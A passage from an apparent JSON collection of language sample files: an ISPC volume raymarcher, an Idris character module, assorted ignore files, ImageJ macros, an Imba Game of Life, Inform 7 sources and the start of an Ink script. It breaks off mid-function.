  t0 = max(tNear.z, t0);\n    t1 = min(tFar.z, t1);\n\n    if (t0 <= t1) {\n        hit0 = t0;\n        hit1 = t1;\n        return true;\n    }\n    else\n        return false;\n}\n\n\nstatic inline float Lerp(float t, float a, float b) {\n    return (1.f - t) * a + t * b;\n}\n\n\nstatic inline float D(int x, int y, int z, uniform int nVoxels[3],\n                      uniform float density[]) {\n    x = clamp(x, 0, nVoxels[0]-1);\n    y = clamp(y, 0, nVoxels[1]-1);\n    z = clamp(z, 0, nVoxels[2]-1);\n\n    #pragma ignore warning(perf)\n    return density[z*nVoxels[0]*nVoxels[1] + y*nVoxels[0] + x];\n}\n\n\nstatic inline float3 Offset(float3 p, float3 pMin, float3 pMax) {\n    return (p - pMin) / (pMax - pMin);\n}\n\n\nstatic float Density(float3 Pobj, float3 pMin, float3 pMax,\n                     uniform float density[], uniform int nVoxels[3]) {\n    if (!Inside(Pobj, pMin, pMax))\n        return 0;\n    // Compute voxel coordinates and offsets for _Pobj_\n    float3 vox = Offset(Pobj, pMin, pMax);\n    vox.x = vox.x * nVoxels[0] - .5f;\n    vox.y = vox.y * nVoxels[1] - .5f;\n    vox.z = vox.z * nVoxels[2] - .5f;\n    int vx = (int)(vox.x), vy = (int)(vox.y), vz = (int)(vox.z);\n    float dx = vox.x - vx, dy = vox.y - vy, dz = vox.z - vz;\n\n    // Trilinearly interpolate density values to compute local density\n    float d00 = Lerp(dx, D(vx, vy, vz, nVoxels, density),\n                     D(vx+1, vy, vz, nVoxels, density));\n    float d10 = Lerp(dx, D(vx, vy+1, vz, nVoxels, density),\n                     D(vx+1, vy+1, vz, nVoxels, density));\n    float d01 = Lerp(dx, D(vx, vy, vz+1, nVoxels, density),\n                     D(vx+1, vy, vz+1, nVoxels, density));\n    float d11 = Lerp(dx, D(vx, vy+1, vz+1, nVoxels, density),\n                     D(vx+1, vy+1, vz+1, nVoxels, density));\n    float d0 = Lerp(dy, d00, d10);\n    float d1 = Lerp(dy, d01, d11);\n    return Lerp(dz, d0, d1);\n}\n\n\n/* Returns the transmittance between two points p0 and p1, in a volume\n   with extent (pMin,pMax) with transmittance coefficient sigma_t,\n   defined by nVoxels[3] voxels in each dimension in the given density\n   array. */\nstatic float\ntransmittance(uniform float3 p0, float3 p1, uniform float3 pMin,\n              uniform float3 pMax, uniform float sigma_t,\n              uniform float density[], uniform int nVoxels[3]) {\n    float rayT0, rayT1;\n    Ray ray;\n    ray.origin = p1;\n    ray.dir = p0 - p1;\n\n    // Find the parametric t range along the ray that is inside the volume.\n    if (!IntersectP(ray, pMin, pMax, rayT0, rayT1))\n        return 1.;\n\n    rayT0 = max(rayT0, 0.f);\n\n    // Accumulate beam transmittance in tau\n    float tau = 0;\n    float rayLength = sqrt(ray.dir.x * ray.dir.x + ray.dir.y * ray.dir.y +\n                           ray.dir.z * ray.dir.z);\n    uniform float stepDist = 0.2;\n    float stepT = stepDist / rayLength;\n\n    float t = rayT0;\n    float3 pos = ray.origin + ray.dir * rayT0;\n    float3 dirStep = ray.dir * stepT;\n    while (t < rayT1) {\n        tau += stepDist * sigma_t * Density(pos, pMin, pMax, density, nVoxels);\n        pos = pos + dirStep;\n        t += stepT;\n    }\n\n    return exp(-tau);\n}\n\n\nstatic inline float\ndistanceSquared(float3 a, float3 b) {\n    float3 d = a-b;\n    return d.x*d.x + d.y*d.y + d.z*d.z;\n}\n\n\nstatic float\nraymarch(uniform float density[], uniform int nVoxels[3], Ray ray) {\n    float rayT0, rayT1;\n    uniform float3 pMin = {.3, -.2, .3}, pMax = {1.8, 2.3, 1.8};\n    uniform float3 lightPos = { -1, 4, 1.5 };\n\n    cif (!IntersectP(ray, pMin, pMax, rayT0, rayT1))\n        return 0.;\n\n    rayT0 = max(rayT0, 0.f);\n\n    // Parameters that define the volume scattering characteristics and\n    // sampling rate for raymarching\n    uniform float Le = .25;            // Emission coefficient\n    uniform float sigma_a = 10;        // Absorption coefficient\n    uniform float sigma_s = 10;        // Scattering coefficient\n    uniform float stepDist = 0.025;    // Ray step amount\n    uniform float lightIntensity = 40; // Light source intensity\n\n    float tau = 0.f;  // accumulated beam transmittance\n    float L = 0;      // radiance along the ray\n    float rayLength = sqrt(ray.dir.x * ray.dir.x + ray.dir.y * ray.dir.y +\n                           ray.dir.z * ray.dir.z);\n    float stepT = stepDist / rayLength;\n\n    float t = rayT0;\n    float3 pos = ray.origin + ray.dir * rayT0;\n    float3 dirStep = ray.dir * stepT;\n    cwhile (t < rayT1) {\n        float d = Density(pos, pMin, pMax, density, nVoxels);\n\n        // terminate once attenuation is high\n        float atten = exp(-tau);\n        if (atten < .005)\n            break;\n\n        // direct lighting\n        float Li = lightIntensity / distanceSquared(lightPos, pos) *\n            transmittance(lightPos, pos, pMin, pMax, sigma_a + sigma_s,\n                          density, nVoxels);\n        L += stepDist * atten * d * sigma_s * (Li + Le);\n\n        // update beam transmittance\n        tau += stepDist * (sigma_a + sigma_s) * d;\n\n        pos = pos + dirStep;\n        t += stepT;\n    }\n\n    // Gamma correction\n    return pow(L, 1.f / 2.2f);\n}\n\n\n/* Utility routine used by both the task-based and the single-core entrypoints.\n   Renders a tile of the image, covering [x0,x0) * [y0, y1), storing the\n   result into the image[] array.\n */\nstatic void\nvolume_tile(uniform int x0, uniform int y0, uniform int x1,\n            uniform int y1, uniform float density[], uniform int nVoxels[3],\n            const uniform float raster2camera[4][4],\n            const uniform float camera2world[4][4],\n            uniform int width, uniform int height, uniform float image[]) {\n    // Work on 4x4=16 pixel big tiles of the image.  This function thus\n    // implicitly assumes that both (x1-x0) and (y1-y0) are evenly divisble\n    // by 4.\n    for (uniform int y = y0; y < y1; y += 4) {\n        for (uniform int x = x0; x < x1; x += 4) {\n            foreach (o = 0 ... 16) {\n                // These two arrays encode the mapping from [0,15] to\n                // offsets within the 4x4 pixel block so that we render\n                // each pixel inside the block\n                const uniform int xoffsets[16] = { 0, 1, 0, 1, 2, 3, 2, 3,\n                                                   0, 1, 0, 1, 2, 3, 2, 3 };\n                const uniform int yoffsets[16] = { 0, 0, 1, 1, 0, 0, 1, 1,\n                                                   2, 2, 3, 3, 2, 2, 3, 3 };\n\n                // Figure out the pixel to render for this program instance\n                int xo = x + xoffsets[o], yo = y + yoffsets[o];\n\n                // Use viewing parameters to compute the corresponding ray\n                // for the pixel\n                Ray ray;\n                generateRay(raster2camera, camera2world, xo, yo, ray);\n\n                // And raymarch through the volume to compute the pixel's\n                // value\n                int offset = yo * width + xo;\n                #pragma ignore warning(perf)\n                image[offset] = raymarch(density, nVoxels, ray);\n            }\n        }\n    }\n}\n\n\ntask void\nvolume_task(uniform float density[], uniform int nVoxels[3],\n            const uniform float raster2camera[4][4],\n            const uniform float camera2world[4][4],\n            uniform int width, uniform int height, uniform float image[]) {\n    uniform int dx = 8, dy = 8; // must match value in volume_ispc_tasks\n    uniform int xbuckets = (width + (dx-1)) / dx;\n    uniform int ybuckets = (height + (dy-1)) / dy;\n\n    uniform int x0 = (taskIndex % xbuckets) * dx;\n    uniform int y0 = (taskIndex / xbuckets) * dy;\n    uniform int x1 = x0 + dx, y1 = y0 + dy;\n    x1 = min(x1, width);\n    y1 = min(y1, height);\n\n    volume_tile(x0, y0, x1, y1, density, nVoxels, raster2camera,\n                 camera2world, width, height, image);\n}\n\n\nexport void\nvolume_ispc(uniform float density[], uniform int nVoxels[3],\n            const uniform float raster2camera[4][4],\n            const uniform float camera2world[4][4],\n            uniform int width, uniform int height, uniform float image[]) {\n    volume_tile(0, 0, width, height, density, nVoxels, raster2camera,\n                camera2world, width, height,  image);\n}\n\n\nexport void\nvolume_ispc_tasks(uniform float density[], uniform int nVoxels[3],\n                  const uniform float raster2camera[4][4],\n                  const uniform float camera2world[4][4],\n                  uniform int width, uniform int height, uniform float image[]) {\n    // Launch tasks to work on (dx,dy)-sized tiles of the image\n    uniform int dx = 8, dy = 8;\n    uniform int nTasks = ((width+(dx-1))/dx) * ((height+(dy-1))/dy);\n    launch[nTasks] volume_task(density, nVoxels, raster2camera, camera2world,\n                               width, height, image);\n}"
  },
  {
    "path": "samples/Idris/Chars.idr",
    "content": "module Prelude.Char\n\nimport Builtins\n\nisUpper : Char -> Bool\nisUpper x = x >= 'A' && x <= 'Z'\n\nisLower : Char -> Bool\nisLower x = x >= 'a' && x <= 'z'\n\nisAlpha : Char -> Bool\nisAlpha x = isUpper x || isLower x\n\nisDigit : Char -> Bool\nisDigit x = (x >= '0' && x <= '9')\n\nisAlphaNum : Char -> Bool\nisAlphaNum x = isDigit x || isAlpha x\n\nisSpace : Char -> Bool\nisSpace x = x == ' '  || x == '\\t' || x == '\\r' ||\n            x == '\\n' || x == '\\f' || x == '\\v' ||\n            x == '\\xa0'\n\nisNL : Char -> Bool\nisNL x = x == '\\r' || x == '\\n'\n\ntoUpper : Char -> Char\ntoUpper x = if (isLower x)\n               then (prim__intToChar (prim__charToInt x - 32))\n               else x\n\ntoLower : Char -> Char\ntoLower x = if (isUpper x)\n               then (prim__intToChar (prim__charToInt x + 32))\n               else x\n\nisHexDigit : Char -> Bool\nisHexDigit x = elem (toUpper x) hexChars where\n  hexChars : List Char\n  hexChars = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9',\n              'A', 'B', 'C', 'D', 'E', 'F']\n"
  },
  {
    "path": "samples/Ignore List/Finale.gitignore",
    "content": "*.bak\n*.db\n*.avi\n*.pdf\n*.ps\n*.mid\n*.midi\n*.mp3\n*.aif\n*.wav\n# Some versions of Finale have a bug and randomly save extra copies of\n# the music source as \"<Filename> copy.mus\"\n*copy.mus\n"
  },
  {
    "path": "samples/Ignore List/filenames/.atomignore",
    "content": ".gitignore\n.DS_Store\n*.imp\n.git\nnode_modules\n"
  },
  {
    "path": "samples/Ignore List/filenames/.babelignore",
    "content": "examples/*\n"
  },
  {
    "path": "samples/Ignore List/filenames/.bzrignore",
    "content": "´.purify\nautom4te.cache\nconfig.log\nconfig.cache\nconfig.status\nconfig.status.lineno\ndb_home\nMakefile\nbuildno\npython\nbuild\nMakefile.pre\nplatform\npybuilddir.txt\npyconfig.h\nlibpython*.a\nlibpython*.so*\npython.exe\npython-gdb.py\nreflog.txt\ntags\nTAGS\n.gdb_history\nDoc/tools/sphinx\nDoc/tools/jinja\nDoc/tools/jinja2\nDoc/tools/pygments\nDoc/tools/docutils\nMisc/python.pc\nModules/Setup\nModules/Setup.config\nModules/Setup.local\nModules/config.c\nParser/pgen\nLib/test/data/*\nLib/lib2to3/Grammar*.pickle\nLib/lib2to3/PatternGrammar*.pickle\n.coverage\ncoverage/*\nhtmlcov/*\n"
  },
  {
    "path": "samples/Ignore List/filenames/.coffeelintignore",
    "content": "spec/fixtures\ntest/**/*.js\n"
  },
  {
    "path": "samples/Ignore List/filenames/.cvsignore",
    "content": "blib\npm_to_blib\nMakefile\nadm\n.git\n"
  },
  {
    "path": "samples/Ignore List/filenames/.dockerignore",
    "content": ".env\n.env.*\n.bundle\n.git\nlog/*\ntmp/*\nvendor/bundle/*"
  },
  {
    "path": "samples/Ignore List/filenames/.easignore",
    "content": "# OSX\n#\n.DS_Store\n\n# Xcode\n#\nbuild/\n*.pbxuser\n!default.pbxuser\n*.mode1v3\n!default.mode1v3\n*.mode2v3\n!default.mode2v3\n*.perspectivev3\n!default.perspectivev3\nxcuserdata\n*.xccheckout\n*.moved-aside\nDerivedData\n*.hmap\n*.ipa\n*.xcuserstate\n\n# Android/IntelliJ\n#\nbuild/\n.idea\n.gradle\nlocal.properties\n*.iml\n*.hprof\n\n# node.js\n#\nnode_modules/\nnpm-debug.log\nyarn-error.log\n\n# BUCK\nbuck-out/\n\\.buckd/\n*.keystore\n!debug.keystore\n\n# fastlane\n#\n# It is recommended to not store the screenshots in the git repo. Instead, use fastlane to re-generate the\n# screenshots whenever they are needed.\n# For more information about the recommended setup visit:\n# https://docs.fastlane.tools/best-practices/source-control/\n\n*/fastlane/report.xml\n*/fastlane/Preview.html\n*/fastlane/screenshots\n\n# Bundle artifact\n*.jsbundle\n\n# Ruby / CocoaPods\n/ios/Pods/\n/vendor/bundle/\n\n# Testing\ncoverage/\njunit.xml\nartifacts\n\n# Web bundle outputs\n/dist/\n\n# Expo\n.expo/\ndist/\n*.jks\n*.p8\n*.p12\n*.key\n*.mobileprovision\n*.orig.*\nweb-build/\n\n# Temporary files created by Metro to check the health of the file watcher\n.metro-health-check*\n\n# VSCode\n.vscode\n\n# gitignore and github actions\n!.gitignore\n!.github\n\n\n# Android & iOS folders\n/android/\n/ios/\n\n# environment variables\n.env.*\n\n# Firebase (Android) Google services\n# INCLUDED: google-services.json\n"
  },
  {
    "path": "samples/Ignore List/filenames/.eleventyignore",
    "content": ".github/\nnode_modules/\npages/*-draft.md\nreadme.md\n"
  },
  {
    "path": "samples/Ignore List/filenames/.eslintignore",
    "content": "# Copyright (c) 2016-2018 Martin Donath <martin.donath@squidfunk.com>\n\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to\n# deal in the Software without restriction, including without limitation the\n# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or\n# sell copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n# IN THE SOFTWARE.\n\n# Files generated by build\n/build\n/material\n/site\n"
  },
  {
    "path": "samples/Ignore List/filenames/.gitignore",
    "content": ".DS_Store\nThumbs.db\nDesktop.ini\nnode_modules\npackage-lock.json\n._*\n.\\#*\n\\#*\\#\n*~\n*.log\n*.lock\n[._]*.s[a-v][a-z]\n[._]*.sw[a-p]\n[._]s[a-v][a-z]\n[._]sw[a-p]\n!urls.log\n/test.mjs\n/test.js\n"
  },
  {
    "path": "samples/Ignore List/filenames/.ignore",
    "content": ".git/\n# Prevent tooling from reading vendored files\nvendor/\ndist/\n\n*.log"
  },
  {
    "path": "samples/Ignore List/filenames/.markdownlintignore",
    "content": "# dependencies\nnode_modules/\n\n# testing\ncoverage/\n.vscode-test/\n__output__/\n\n# production\ndist/\nout/\nbuild/\n"
  },
  {
    "path": "samples/Ignore List/filenames/.nodemonignore",
    "content": "/public/*\n/views/*\n./README.md"
  },
  {
    "path": "samples/Ignore List/filenames/.npmignore",
    "content": ".DS_Store\nnode_modules\n/browser.js\n/index.js\n*.log\npackage-lock.json\n"
  },
  {
    "path": "samples/Ignore List/filenames/.prettierignore",
    "content": "**/node_modules/**\n**/test/assets/**\n"
  },
  {
    "path": "samples/Ignore List/filenames/.stylelintignore",
    "content": "*.spec.scss\nnode_modules"
  },
  {
    "path": "samples/Ignore List/filenames/.vercelignore",
    "content": "*\n\n# general\n!utils/\n!utils/run.js\n!.yarnrc\n!yarn.lock\n!package.json\n\n# api\n!api/\n!api/**\n\n# packages\n!packages/\n!packages/frameworks\n!packages/frameworks/**\n"
  },
  {
    "path": "samples/Ignore List/filenames/.vscodeignore",
    "content": ".vscode/**\n.vscode-test/**\nout/test/**\ntest/**\nsrc/**\n**/*.map\n.gitignore\ntsconfig.json\nvsc-extension-quickstart.md\n"
  },
  {
    "path": "samples/Ignore List/filenames/gitignore-global",
    "content": "# Compiled Python files\n*.pyc\n\n# Folder view configuration files\n.DS_Store\nDesktop.ini\n\n# Thumbnail cache files\n._*\nThumbs.db\n\n# Files that might appear on external disks\n.Spotlight-V100\n.Trashes\n"
  },
  {
    "path": "samples/Ignore List/filenames/gitignore_global",
    "content": "*.class\n*.log\n\n# sbt specific\n.cache/\n.history/\n.lib/\ndist/*\ntarget/\nlib_managed/\nsrc_managed/\nproject/boot/\nproject/plugins/project/\n\n# Scala-IDE specific\n.scala_dependencies\n.worksheet\n\n# Simple Build Tool\n# http://www.scala-sbt.org/release/docs/Getting-Started/Directories.html#configuring-version-control\n\ntarget/\nlib_managed/\nsrc_managed/\nproject/boot/\n.history\n.cache\n\n[._]*.s[a-w][a-z]\n[._]s[a-w][a-z]\n*.un~\nSession.vim\n.netrwhist\n*~\n\n# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm\n\n/*.iml\n\n## Directory-based project format:\n.idea/\n# if you remove the above rule, at least ignore the following:\n\n# User-specific stuff:\n# .idea/workspace.xml\n# .idea/tasks.xml\n# .idea/dictionaries\n\n# Sensitive or high-churn files:\n# .idea/dataSources.ids\n# .idea/dataSources.xml\n# .idea/sqlDataSources.xml\n# .idea/dynamic.xml\n# .idea/uiDesigner.xml\n\n# Gradle:\n# .idea/gradle.xml\n# .idea/libraries\n\n# Mongo Explorer plugin:\n# .idea/mongoSettings.xml\n\n## File-based project format:\n*.ipr\n*.iws\n\n## Plugin-specific files:\n\n# IntelliJ\nout/\n\n# mpeltonen/sbt-idea plugin\n.idea_modules/\n\n# JIRA plugin\natlassian-ide-plugin.xml\n\n# Crashlytics plugin (for Android Studio and IntelliJ)\ncom_crashlytics_export_strings.xml\n\n.ruby-version\n.ruby-gemset\n\n.vimrc\n\n.env.*\n\n.agignore\n.ignore\n\nTAGS\ntags\nGPATH\nGRTAGS\nGTAGS\ncscope.files\ncscope.out\n.clang_complete\n"
  },
  {
    "path": "samples/ImageJ Macro/batch of ratiometric FRET using IO settings.ijm",
    "content": "/**\n*macro to measure the ratio image (FRET/CFP) in 32 bits\n*it's necessary to create 3 folders for CFP images and FRET images and one folder for the analysis*\n*macro developped by MRI\n\n*/\n\n\nCH1 = \"w1CFP\";\nCH2 = \"w2FRET CY\";\n\ndir3 = getDirectory(\"Choose Destination Directory \");\n\ncall(\"fr.cnrs.mri.macro.io.IOSettings.resetFileLists\");\ncall(\"fr.cnrs.mri.macro.io.IOSettings.show\");\nwaitForUser(\"Please select the input files using the IO_Settings dialog and press ok\");\n\nfileList = call(\"fr.cnrs.mri.macro.io.IOSettings.getFileList\");\nif (fileList==\"none\") {IJ.log(\"No files selected! Macro stopped.\"); return;}\nfiles = split(fileList, \",\");\n\n//setBatchMode(true);\nfor (i=0; i<files.length; i++) {\n   \tshowProgress(i+1, files.length);\n    \t open(files[i]);\n\tnameCFP = getTitle();\n\tfretFile = replace(files[i], CH1, CH2);\n\topen(fretFile);\n            nameFRET = getTitle();\n\n\trun(\"Clear Results\");\n\trun(\"Set Measurements...\", \"  mean redirect=None decimal=3\");\n\n\tselectWindow(nameCFP);\n\tsetTool(\"rectangle\");\n\trun(\"Select None\");\n\twaitForUser(\"Select areas\",\"Select the area of background and click 'OK'\"); \n\troiManager(\"Add\");\n\troiManager(\"Remove Slice Info\");\n\n\tfor (j=1; j<=nSlices; j++) {\n   \t\t  showProgress(j, nSlices);\n   \t\t  setSlice(j);\n\t\t\troiManager(\"Select\", 0);\n          \t\t\tselectWindow(nameCFP);\n           \t\t\trun(\"Measure\");\n\t\t\tmean = getResult(\"Mean\");\n\t\t\tselectWindow(nameCFP);\n\t\t\trun(\"Select None\");\n\t\t\trun(\"Subtract...\", \"value=mean slice\");\n          \t\t\t run(\"Clear Results\");   \n\t\t\t }\n\n \n\n            selectWindow(nameFRET);\n\tfor (k=1; k<=nSlices; k++) {\n   \t\t  showProgress(k, nSlices);\n   \t\t  setSlice(k);\n\t\t\troiManager(\"Select\", 0);\n          \t\t\tselectWindow(nameFRET);\n           \t\t\trun(\"Measure\");\n\t\t\tmean = getResult(\"Mean\");\n\t\t\tselectWindow(nameFRET);\n\t\t\trun(\"Select None\");\n\t\t\trun(\"Subtract...\", \"value=mean slice\");\n          \t\t\t run(\"Clear Results\");   \n\t\t\t }\n\n\n\troiManager(\"Deselect\");\n\troiManager(\"Delete\");\n\n\n            selectWindow(nameFRET);\n\trun(\"Duplicate...\", \"title=mask duplicate range=1-nSlices\");\n\trun(\"Threshold...\");\n\twaitForUser(\"Set mask\",\"Threshold set?\");  \n\trun(\"Make Binary\", \" \");\n\tnameMask = getTitle();\n\trun(\"Subtract...\", \"value=254 stack\");\n\n\timageCalculator(\"Multiply stack\", nameCFP, nameMask);\n\timageCalculator(\"Multiply stack\", nameFRET, nameMask);\n\timageCalculator(\"Divide create 32-bit stack\", nameFRET, nameCFP);\n\trename(\"ratio\");\n\tnameRatio = getTitle();\n\tsave(dir3+nameRatio+nameCFP+\"-\"+i+\".tif\");\n\t\n\nrun(\"Close All\");\n  }\n"
  },
  {
    "path": "samples/ImageJ Macro/simple.ijm",
    "content": "// This macro demonstrates the use of the Roi.* functions.\n\n  requires(\"1.48h\");\n  run(\"Blobs (25K)\");\n  makePolygon(72,78,155,43,205,111,143,156,74,138);\n  print(\"type: \"+Roi.getType);\n  print(\"name: \\\"\"+Roi.getName()+\"\\\"\");\n  print(\"stroke color: \"+Roi.getStrokeColor);\n  print(\"fill color: \"+Roi.getFillColor);;\n  Roi.getBounds(x,y,w,h);\n  print(\"bounds: \",x,y,w,h);\n  Roi.getCoordinates(x, y);\n  print(\"coordinates\");\n  for (i=0; i<x.length; i++)\n     print(\"  \", i, x[i], y[i]);\n  Roi.setProperty(\"test\", \"Test Property\");\n  print(\"property (test): \"+Roi.getProperty(\"test\"));\n  Roi.setName(\"Polygon Selection\");\n  print(\"new name: \\\"\"+Roi.getName()+\"\\\"\");\n  Roi.setStrokeWidth(8);\n  Roi.setStrokeColor(\"red\");\n  print(\"new stroke color: \"+Roi.getStrokeColor);;\n  wait(2000);\n  Roi.setFillColor(\"550000ff\");\n  wait(2000);\n  Roi.move(10, 10);\n  print(\"new fill color: \"+Roi.getFillColor);\n"
  },
  {
    "path": "samples/Imba/main.imba",
    "content": "let stdout = process.stdout\nlet clear_screen = do stdout.write \"\\x1b[2J\"\nlet hide_cursor = do stdout.write \"\\x1b[?25l\"\nlet show_cursor = do stdout.write \"\\x1b[?25h\"\nlet smcup = do stdout.write \"\\x1b[?1049h\"\nlet rmcup = do stdout.write \"\\x1b[?1049l\"\nlet place_cursor = do stdout.write \"\\x1b[1;1H\"\n\nlet alive_cell_char = \"◼\"\nlet dead_cell_char = \" \"\n\nclass Game\n\n\tconstructor rows, cols\n\t\tself.rows = rows\n\t\tself.cols = cols\n\t\tself.board = get_empty_board!\n\t\trandomize_board!\n\n\tdef get_empty_board\n\t\tnew Array((rows + 2) * (cols + 2)).fill(no)\n\n\tdef idx i, j\n\t\t(i + 1) * (cols + 2) + (j + 1)\n\n\tdef randomize_board\n\t\tfor i in [0 .. rows - 1]\n\t\t\tfor j in [0 .. cols - 1]\n\t\t\t\tboard[idx(i, j)] = Math.random! < 0.5\n\n\tdef print_whole_board\n\t\tlet s = \"\"\n\t\tfor cell, i in board\n\t\t\tif cell\n\t\t\t\ts += alive_cell_char\n\t\t\telse\n\t\t\t\ts += dead_cell_char\n\t\t\tif (i + 1) % (cols + 2) == 0\n\t\t\t\ts += \"\\n\"\n\t\tstdout.write s\n\n\tdef print_board\n\t\tlet s = \"\"\n\t\tfor i in [0 .. rows - 1]\n\t\t\tfor j in [0 .. cols - 1]\n\t\t\t\tif board[idx(i, j)]\n\t\t\t\t\ts += alive_cell_char\n\t\t\t\telse\n\t\t\t\t\ts += dead_cell_char\n\t\t\ts += \"\\n\"\n\t\tstdout.write s\n\n\tdef count_neighbors i, j\n\t\tboard[idx(i - 1, j - 1)] +\n\t\tboard[idx(i - 1, j)] +\n\t\tboard[idx(i - 1, j + 1)] +\n\t\tboard[idx(i, j - 1)] +\n\t\tboard[idx(i, j + 1)] +\n\t\tboard[idx(i + 1, j - 1)] +\n\t\tboard[idx(i + 1, j)] +\n\t\tboard[idx(i + 1, j + 1)]\n\n\tdef tick\n\t\tlet next = get_empty_board!\n\t\tlet nc\n\t\tfor i in [0 .. rows - 1]\n\t\t\tfor j in [0 .. cols - 1]\n\t\t\t\tnc = count_neighbors i, j\n\t\t\t\tnext[idx(i, j)] = board[idx(i, j)] and nc == 2 or nc == 3\n\t\tboard = next\n\nprocess.on('exit') do\n\tclear_screen!\n\tshow_cursor!\n\trmcup!\n\nprocess.on('SIGINT', process.exit)\n\ndef main\n\tsmcup!\n\thide_cursor!\n\tlet game = new Game rows, cols\n\tlet count = 0\n\tsetInterval(&, 50) do\n\t\tif count > max_generations\n\t\t\tclearInterval this\n\t\tplace_cursor!\n\t\tstdout.write \"{count}/{max_generations}\\n\"\n\t\tgame.print_board!\n\t\tgame.tick!\n\t\tcount += 1\n\nlet max_generations = 500\nlet delay = 50\nlet rows = stdout.rows >>> 1\nlet cols = stdout.columns >>> 1\nmain!\n"
  },
  {
    "path": "samples/Inform 7/Trivial Extension.i7x",
    "content": "Version 2 of Trivial Extension by Andrew Plotkin begins here.\n\n\"This is the rubric of the extension.\"\n\n\"provided for the Linguist package by Andrew Plotkin\"\n\n[Note the two special quoted lines above.]\n\nA cow is a kind of animal. A cow can be purple.\n\nUnderstand \"cow\" as a cow.\nUnderstand \"purple\" as a purple cow.\n\nCheck pushing a cow:\n\tinstead say \"Cow-tipping, at your age?[paragraph break]Inconceivable.\"\n\n[Here are the possible levels of heading:]\n\nVolume One\n\nText-line is always \"A line of text.\"\n\nBook 2\n\n\tPart the third - indented headings still count\n\nChapter IV - not for release\n\n[Heading labels are case-insensitive.]\n\nsection foobar\n\n[A line beginning \"Volume\" that does not have blank lines before and after it is *not* a header line. So the following should all be part of section foobar. Sadly, the \"Volume is...\" line gets colored as a header, because Atom's regexp model can't recognize \"thing with blank lines before and after\"!]\n\nMeasure is a kind of value.\nVolume is a measure. Length is a measure.\nArea is a measure.\n\n[And now some Inform 6 inclusions.]\n\nTo say em -- running on:\n\t(- style underline; -).\nTo say /em -- running on:\n\t(- style roman; -).\n\nInclude (-\n\n! Inform 6 comments start with a ! mark and run to the end of the line.\nGlobal cowcount;\n\n[ inform6func arg;\n\tprint \"Here is some text; \", (address) 'dictword', \".^\";\n\tcowcount++;  ! increment this variable\n];\n\nObject i6cow\n\twith name 'cow' 'animal',\n\twith description \"It looks like a cow.\",\n\thas animate scenery;\n\n-) after \"Global Variables\" in \"Output.i6t\".\n\nTrivial Extension ends here.\n\n---- DOCUMENTATION ----\n\nEverything after the \"---- DOCUMENTATION ----\" line is documentation, so it should have the comment style.\n\nHowever, tab-indented lines are sample Inform code within the documentation:\n\n\tHorns are a kind of thing. Every cow has horns.\n\tsay \"Moo[if the noun is purple] indigo[end if].\"\n\nSo we need to allow for that.\n"
  },
  {
    "path": "samples/Inform 7/story.ni",
    "content": "\"Test Case\" by Andrew Plotkin.\n\nInclude Trivial Extension by Andrew Plotkin.\n\nVolume 1 - overview\n\nChapter - setting the scene\n\nThe Kitchen is a room.\n\n[Comment: this kitchen is modelled after the one in Zork, although it lacks the detail to establish this to the player.]\n\nSection - the kitchen table\n\nThe spicerack is a container in the Kitchen.\n\nTable of Spices\nName\tFlavor\n\"cinnamon\"\t5\n\"nutmeg\"\t4\n\"szechuan pepper\"\t8\n\nThe description of the spicerack is \"It's mostly empty.\"\n\nChapter - a character\n\nA purple cow called Gelett is in the Kitchen.\n\n[This comment spans multiple lines..\n\n...and this line contains [nested square[] brackets]...\n\n...which is legal in Inform 7.]\n\nInstead of examining Gelett:\n\tsay \"You'd rather see than be one.\"\n\nInstead of examining Gelett:\n\tsay \"You'd rather see than be one.\"\n\nCheck smelling Gelett:\n\tsay \"This text contains several lines.\n\nA blank line is displayed as a paragraph break,\nbut a simple line break is not.\";\n\tstop the action.\n\nSection - cow catching\n\nGelett has a number called the mooness.\n\nInstead of taking Gelett:\n\tincrement the mooness of Gelett;\n\tif the mooness of Gelett is one:\n\t\tsay \"Gelett moos once.\";\n\telse:\n\t\tsay \"Gelett moos [mooness of Gelett in words] times.\";\n\nVolume 2 - the turn cycle\n\nEvery turn:\n\tsay \"A turn passes[one of][or] placidly[or] idly[or] tediously[at random].\"\n"
  },
  {
    "path": "samples/Ink/murder_scene.ink",
    "content": "\n/*\n\n    This is a long example of a crime scene investigation, from the Writing with Ink chapter on Lists.\n\n*/\n\n-> murder_scene\n\n// Helper function: popping elements from lists\n=== function pop(ref list)\n   ~ temp x = LIST_MIN(list) \n   ~ list -= x \n   ~ return x\n\n//\n//  System: items can have various states\n//  Some are general, some specific to particular items\n//\n\n\nLIST OffOn = off, on\nLIST SeenUnseen = unseen, seen\n\nLIST GlassState = (none), steamed, steam_gone\nLIST BedState = (made_up), covers_shifted, covers_off, bloodstain_visible\n\n//\n// System: inventory\n//\n\nLIST Inventory = (none), cane, knife\n\n=== function get(x)\n    ~ Inventory += x\n\n//\n// System: positioning things\n// Items can be put in and on places\n//\n\nLIST Supporters = on_desk, on_floor, on_bed, under_bed, held, with_joe\n\n=== function move_to_supporter(ref item_state, new_supporter) ===\n    ~ item_state -= LIST_ALL(Supporters)\n    ~ item_state += new_supporter\n\n\n// System: Incremental knowledge.\n// Each list is a chain of facts. Each fact supersedes the fact before \n//\n\nVAR knowledgeState = ()\n\n=== function reached (x) \n   ~ return knowledgeState ? x \n\n=== function between(x, y) \n   ~ return knowledgeState? x && not (knowledgeState ^ y)\n\n=== function reach(statesToSet) \n   ~ temp x = pop(statesToSet)\n   {\n   - not x: \n      ~ return false \n\n   - not reached(x):\n      ~ temp chain = LIST_ALL(x)\n      ~ temp statesGained = LIST_RANGE(chain, LIST_MIN(chain), 